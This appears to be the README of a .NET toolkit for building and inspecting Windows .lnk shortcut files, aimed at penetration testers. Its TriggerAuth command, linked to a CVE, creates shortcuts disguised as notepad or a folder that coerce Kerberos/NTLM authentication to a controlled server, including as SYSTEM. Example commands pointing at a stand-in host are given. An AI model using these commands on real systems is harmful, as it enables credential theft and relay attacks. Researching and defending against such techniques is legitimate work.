
Lnk crafting and research tools
Windows 셸 링크(.lnk) 파일을 생성하고 분석하기 위한 .NET 8 툴킷입니다. CLI 빌더(LnkMeMaybe)와 그래픽 편집기(LnkUi)를 포함합니다. 보안 연구 및 침투 테스트를 대상으로 합니다.
| 프로젝트 | 설명 |
|---|---|
Lnk/ | 핵심 라이브러리입니다. MS-SHLLINK 사양에 따라 .lnk 바이너리 형식을 파싱하고 생성합니다. LnkHandler가 ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData, ExtraData를 구성하는 주요 진입점입니다. |
LnkMeMaybe/ | CLI 도구입니다. 다양한 .lnk 파일을 생성하는 명령을 제공합니다. Titanis.Cli 프레임워크를 사용합니다. |
LnkUi/ | Avalonia 11 MVVM 데스크톱 편집기입니다. 7개의 ViewModel이 해당 Lnk 라이브러리 구성 요소를 래핑합니다. .lnk 파일을 수동으로 탐색하고 검사하는 데 유용합니다. |
LnkTests/ | MSTest 스위트입니다. 실제 .lnk 파일 샘플이 리소스로 포함되어 있습니다. ShellLinkHeader와 LinkInfo를 다룹니다. |
모든 명령은 다음 기본 매개변수를 공유합니다 (BaseSavedCommand에서 유래):
TriggerAuth (CVE-2026-25185)지정된 서버에 Kerberos(NTLM으로 폴백) 인증을 트리거하는 .lnk를 생성합니다. 이 .lnk는 어떤 것도 실행하지 않습니다.
인증이 트리거되는 시나리오:
.lnk가 포함된 공유 폴더를 탐색하면 사용자 계정이 아웃바운드로 인증합니다..lnk가 시스템이 인덱싱하도록 구성된 위치에 배치되면 SearchProtocolHost가 SYSTEM으로 인증합니다.MSSense.exe가 SYSTEM으로 인증합니다.매개변수:
예시:
# notepad로 위장하면서 \\controlled.example.org\IPC$에 인증 보내기
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# 폴더 바로 가기로 위장하면서 특정 공유 경로에 인증 보내기
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcut웹 URL을 가리키는 .lnk 파일을 생성합니다. 일반적으로 Windows는 웹 바로 가기에 .url 파일을 만들지만, 이 명령은 대신 .lnk를 생성합니다.
매개변수:
| 매개변수 | 필수 | 설명 |
|---|---|---|
--Url | 예 | 바로 가기가 가리킬 URL입니다. 올바른 형식의 절대 URI여야 합니다. |
예시:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcut로컬 파일이나 폴더에 대한 표준 Windows 바로 가기를 생성합니다. 대상 경로는 파일 시스템 바로 가기에 Windows가 사용하는 기본 형식인 셸 항목 ID 목록(PIDL)으로 저장됩니다.
매개변수:
예시:
# 메모장 바로 가기 만들기
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# 인수와 사용자 지정 아이콘이 있는 바로 가기
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# 최대화된 상태로 열리고 승격을 요청하는 바로 가기
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcut대상 경로가 확장 가능한 환경 변수 문자열(EnvironmentVariableDataBlock)로 저장된 .lnk를 생성합니다. 이것은 시스템 실행 파일(예: %SystemRoot%\system32\notepad.exe)에 대한 바로 가기에 Windows가 사용하는 형식입니다. 변수는 실행 시 확장되므로 바로 가기를 여러 Windows 설치 간에 이식 가능하게 만듭니다.
매개변수:
예시:
# 환경 변수 경로를 사용하는 메모장 바로 가기
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# 인수가 있는 사용자 프로필 앱 바로 가기
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# 빌드 (디버그)
dotnet build Lnk.sln
# 빌드 (릴리스, 핵심 프로젝트만)
dotnet build -c Release build.slnf
# 모든 테스트 실행
dotnet test
# 특정 테스트 클래스 실행
dotnet test --filter "ClassName=lnkHeader"
# 자체 포함 단일 파일 실행 파일 게시 (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
Windows, Linux, macOS(x64 및 arm64)용 사전 빌드된 바이너리는 Releases 페이지에서 제공됩니다.
각 릴리스에는 LnkMeMaybe 및 LnkUi용 독립 실행형(.NET 런타임 불필요) 및 프레임워크 종속형(.NET 8 런타임 필요) 빌드가 모두 포함됩니다.
AI 시스템은 다음 작업에 사용되었습니다:
이 저장소에 포함된 코드는 그 외에는 사람이 만들고 검토했습니다.
| 매개변수 | 별칭 | 필수 | 설명 |
|---|
--OutputPath | 예 | .lnk 파일을 쓸 파일 시스템 경로입니다. | |
--Overwrite | 아니요 | OutputPath에 기존 파일이 있어도 덮어쓰기를 허용합니다. | |
--DisplayName | 아니요 | 바로 가기 위에 마우스를 올렸을 때 표시되는 텍스트입니다. 줄바꿈은 \n을 지원합니다. | |
--IconPath / -I | -I | 아니요 | 바로 가기 아이콘으로 사용할 .exe 또는 .dll 경로입니다. 대상 시스템에 존재해야 합니다. |
--IconIndex | 아니요 | --IconPath로 지정된 파일 내의 아이콘 리소스 인덱스입니다. 기본값: 0. |
| 매개변수 | 별칭 | 필수 | 설명 |
|---|
--FakePath / -F | -F | 예 | .lnk 속성에서 대상으로 표시되는 경로입니다. |
--Server / -S | -S | 예 | 인증을 보낼 서버 호스트명, IP 또는 UNC 경로입니다. 공유가 지정되지 않으면 IPC$를 추가합니다. |
--Darwin | 아니요 | .lnk에 저장되는 Darwin 식별자입니다. 어떤 값이든 될 수 있습니다. 기본값: unset. |
| 매개변수 | 별칭 | 필수 | 설명 |
|---|
--TargetPath | 예 | 대상 파일 또는 폴더의 절대 경로입니다. | |
--Arguments | 아니요 | 대상에 전달할 명령줄 인수입니다. | |
--WorkingDirectory | -W | 아니요 | 대상 프로세스의 작업 디렉터리입니다. |
--RunAsAdmin | 아니요 | 바로 가기 실행 시 UAC 승격을 요청합니다. | |
--ShowCommand | 아니요 | 실행 시 창 상태: Normal, Maximized, Minimized. |
| 매개변수 | 별칭 | 필수 | 설명 |
|---|
--TargetPath | 예 | 대상 경로로, %SystemRoot% 또는 %USERPROFILE% 같은 환경 변수를 포함할 수 있습니다. | |
--Arguments | 아니요 | 대상에 전달할 명령줄 인수입니다. | |
--WorkingDirectory | -W | 아니요 | 대상 프로세스의 작업 디렉터리입니다. |
--RunAsAdmin | 아니요 | 바로 가기 실행 시 UAC 승격을 요청합니다. | |
--ShowCommand | 아니요 | 실행 시 창 상태: Normal, Maximized, Minimized. |